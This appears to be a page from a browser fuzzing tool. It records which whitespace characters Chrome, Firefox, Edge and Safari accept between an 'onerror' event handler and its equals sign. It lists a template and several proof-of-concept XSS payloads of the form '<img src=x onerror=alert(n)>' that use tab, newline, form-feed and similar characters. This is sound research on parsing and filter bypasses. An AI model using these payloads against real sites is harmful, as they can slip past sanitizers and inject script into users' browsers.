Character allowed after onerror event
I want to know which characters the browser accepts between an event handler and a equal sign.
Created byInsertScript
Created Apr 2, 2024
Updated May 28, 2025
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src=x onerror$[chr]=log($[i])>Sample payloads
<img src=x onerror0x09=alert(9)><img src=x onerror
=alert(10)><img src=x onerror0x0C=alert(12)><img src=x onerror0x0D=alert(13)><img src=x onerror =alert(32)>Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 5 results
Loading...
Chrome 143.0.0.0 desktop macOS 10.15.7older version
Updated25 Jan 2026
Found 5 results
Loading...
Chrome 123.0.0.0 Unknown Unknownolder version
Updated14 Apr 2024
Found 5 results
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 5 results
Loading...
Firefox 124.0 Unknown Unknownolder version
Updated14 Apr 2024
Found 5 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 5 results
Loading...
Safari 17.4 Unknown Unknown
Updated14 Apr 2024
Found 5 results
Loading...